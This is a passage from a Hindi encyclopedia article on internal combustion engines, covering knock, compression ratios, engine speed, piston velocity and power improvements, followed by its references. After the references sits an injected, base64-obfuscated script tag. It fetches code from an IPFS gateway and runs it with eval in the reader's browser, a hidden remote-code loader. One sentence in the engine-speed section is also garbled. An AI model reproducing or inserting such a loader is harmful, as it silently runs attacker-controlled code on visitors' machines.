उठता है तो उसका यह जलना अधिस्फोटक (डिटोनेटिंग) होता है। यह कान से सुनाई पड़ता है-जान पड़ता है कि किसी धातु को हथौड़े से ठोंका जा रहा है। शीघ्रतापूर्वक जलने वाले ईधनों में अधिस्फोट की आशंका अधिक रहती है। पिछली कुछ दशाब्दियों में कई नवीन खोजें हुई हैं, जिनसे बिना अधिस्फोट हुए संपीडन अनुपात अधिक बड़ा रखा जा सकता है। उदाहरणत: (1) ऐसे ईधन बनाए गए हैं जो अधिक धीरे धीरे जलते हैं, जैसे बेंज़ोल और पेट्रोल के मिश्रण, पॉलीमेराइज़ किया हुआ पेट्रोल और ऐसा पेट्रोल जिसमें थोड़ी मात्रा में टेट्रा-एथिल-लेड मिला रहता है; (2) दहनकक्ष के उस भाग को, जो पिस्टन के ऊपर रहता है, ऐसा नवीन रूप दिया गया है कि अधिस्फोट कम हो; (3) दहनकक्ष से उष्मा के निकलने का वेग बढ़ा दिया गया है। यह काम इंजन के माथे को पहले से पतला और अधिक दृढ़ धातुओं का (जैसे ऐल्युमिनियम की संकर धातु य काँसे का) बनाया गया है, जो उष्मा के अधिक अच्छे चालक (कंडक्टर) हैं। साथ ही पिस्टन भी ऐसे पदार्थो का बनता है जो उष्मा के अच्छे चालक होते हैं; (4) दहनकक्ष के भीतरी भाग को अधिक चिकना बनाया जाता है, जिससे कोई ऐसे दाने नहीं रह पाते जो तप्त होकर लाल हो जायँ और ईधन-मिश्रण का जलना आरंभ कर दें; तथा दहनकक्ष के आसपास के भागों को (जैसे स्पार्क प्लग, वाल्व मुंड आदि को) अधिक ठंढा रखने का प्रबंध किया गया है। सन्‌ 1920-25 के लगभग मोटरकार के इंजनों में संपीडन अनुपात लगभग 4.5 रहता था; कभी कभी तो यह 3.5 ही रहता था। वर्तमान समय में यह अनुपात 6.5 या कुछ अधिक रहता है; कुछ इंजनों में तो यह अनुपात 7.5 तक होता है।

काँसे (ब्राञ्ज़) के माथे बनाने से संपीडन अनुपात के बहुत अधिक रहने पर भी इंजन बिना अधिस्फोट के चलते है; इसका कारण यह है कि काँसा उष्मा का बहुत अच्छा चालक है। इसलिए उष्मा सिलिंडर से शीघ्रता से दूर होती रहती हैं। परंतु, बहुत शीघ्रता से उष्मा का दूर होना भी अवगुण है, क्योंकि इससे अधिक संपीडन के उद्देश्य की पूर्ति नहीं हो पाती। हमारा उद्देश्य सदा यह रहता है कि उष्मीय दक्षता बढ़े। परंतु कुछ इंजनों में इतनी उष्मा इधर उधर चली जाती है कि उष्मीय दक्षता बढ़ने के बदले घट जाती है। ऐल्यूमिनियम के माथे में कभी कभी यही दोष देखा जाता है।

अंतर्दहन इंजनों की त्वरा-इंजनों की त्वरा (चाल, स्पीड) साधारणत: चक्कर प्रति मिनट (च.प्र.मि., आर.पी.एम., रेवोल्यूशंस पर मिनट) में बताई जाती है परंतु यह निर्धारित नहीं है कि कितने चक्कर प्रति मिनट रहने पर इंजन को इनमें से किस विशेष वर्ग में रखा जाए। इसके अतिरिक्त तीव्रगति वाष्प इंजन में जितने चक्कर प्रति मिनट होते हैं, वे अत्यंत मंदगति अंतर्दह इंजन के चक्कर प्रति मिनट 4,000 या कुछ अधिक चक्कर का वेग रहता है, परंतु दौड़ की प्रतियोगिता के लिए बने इंजनों में चक्कर प्रति मिनट 6,000 के आसपास होते हैं। वे डीज़ल इंजन, जिनमें चक्कर प्रति मिनट लगभग 1,000 होते हैं तीव्रगति डीज़ल कहलाते हैं। बड़ी नाप के सिलिंडरवाले इंजन छोटे सिलिंडरोंवाले इंजनों की अपेक्षा मंद गति से चलते हैं, क्योंकि बड़े पिस्टन भारी होते हैं और उनके चलन की दिशा बदलते समय इतना झटका लगता है कि उसे सँभालना कठिन होता है।

पिस्टन का वेग उसका औसत वेग होता है और उसकी गणना निम्नांकित सूत्र से होती है:

पिस्टन का औसत वेग=2 पिस्टन की दौड़´चक्कर प्रति मिनट। पिस्टन का वेग भी इंजनों की गति की सीमा निर्धारित करता है, क्योंकि पिस्टन का वेग बहुत बढ़ाने से इंजन घिसकर शीघ्र नष्ट हो जाता है। मोटरकार के इंजनों में पिस्टन-वेग अब 2,800 फुट प्रति मिनट या इससे भी कुछ अधिक रखा जाता है। डीज़ल इंजनों में पिस्टन का औसतहेवेग 1,000 और 1,200 फुट प्रति मिनट के बीच रहता है।

इंजन की नाप=इंजनों की नाप सिलिंडर के व्यास और पिस्टन की दौड़ से बताई जाती है। उदहारणत:, 12´18 इंच के इंजन का अर्थ यह है कि सिलिंडर का व्यास 12 इंच है और पिस्टन की दौड़ 18 इंच है।

आधुनिक मोटरकार इंजनों में अपने उसी नाप के 20-30 वर्ष पहले के पूर्वजों की अपेक्षा कहीं अधिक सामर्थ्य रहता है। सामर्थ्य निम्नलिखित कारणों से बढ़ा है: (1) वाल्वों का अधिक ऊँचाई तक उठना और अंतर्ग्रहण छिद्र का बड़ा होना, जिससे ईधन मिश्रण के आने में कम द्रवघर्षण उत्पन्न होता है और इसलिए सिलिंडर में घुसनेवाले मिश्रण की तौल अधिक होती है; (2) निष्कासक वाल्व का कुछ शीघ्र खुल जाना, जिससे पिस्टन पर उल्टी दाब नहीं पड़ती और ऋण कर्म नहीं करना पड़ता; (3) निष्कासक वाल्व का कुछ देर में बंद होना, जिसके कारण जली गैसों को बाहर निकलने के लिए पर्याप्त समय मिल जाता है और वे अपने ही झोंके से सिलिंडर से लगभग पूर्णत: निकल जाती हैं; (4) अंतर्ग्रहण वाल्व का कुछ बाद में बंद होना, जिससे संपीडन घात के पश्चात्‌ पिस्टन के चल पड़ने पर भी आनेवाला ईधन-मिश्रण अपनी झोंक (इनर्शिया) से आता रहता है और इस प्रकार तीव्रगति इंजनों में पहले की अपेक्षा अब अधिक मिश्रण सिलिंडरों में घुस पाता है; (5) अधिक अच्छी अंतर्ग्रहण नलिकाएँ, जिनसे विविध सिलिंडरों में अधिक बराबरी से ईधन मिश्रण पहुँचता है; (6) चल भागों का बढ़िया आसंजन (फ़िट) और अधिक अच्छी याँत्रिक रचना, जिससे घर्षण और घरघराहट दोनों में कमी होती है; (7) अधिक तीव्रगति इंजन, जिसका बनना अधिक शुद्ध निर्माण और चल भागों के अधिक उत्तम संतुलन से संभव हो सका है।[१]

उपसंहार-उन उद्योंगों में, जहाँ इंजन की आवश्यकता केवल विशेष ऋतुओं में पड़ती है, जैसे कपास ओटने, आटा पीसने, ईख पेरने, बर्फ बनाने आदि के लिए, अंतर्दहन इंजन विशेष उपयोगी होते हैं, क्योंकि जब ये इंजन वाष्प रहते हैं तब उनकी देखभाल पर बहुत कम व्यय होता है। इसी कारण वाष्प इंजनों से चलनेवाले कारखानों में बहुधा फालतू इंजन डीज़ल इंजन होते हैं। इनका प्रयोग तब होता है जब वाष्प इंजन कभी बिगड़ जाता है। अंतर्दहन इंजन बहुत शीघ्र चालू किए जा सकते हैं और शीघ्र ही अपने पूरे सामर्थ्य से काम करने लगते हैं। वाष्प इंजनों में ये गुण नहीं होते।[२]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 485-95 |
  2. सं.ग्रं.-साहा ऐंड श्रीवास्तव: ए टेक्स्ट बुक आफ हीट; डी.आर. पाई: दि इंटर्नल कंबश्चन एंजिन (1931); एच.आर. रिचर्ड्स: दि इंटर्नल कंबश्चन एंजिन (1923)।

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



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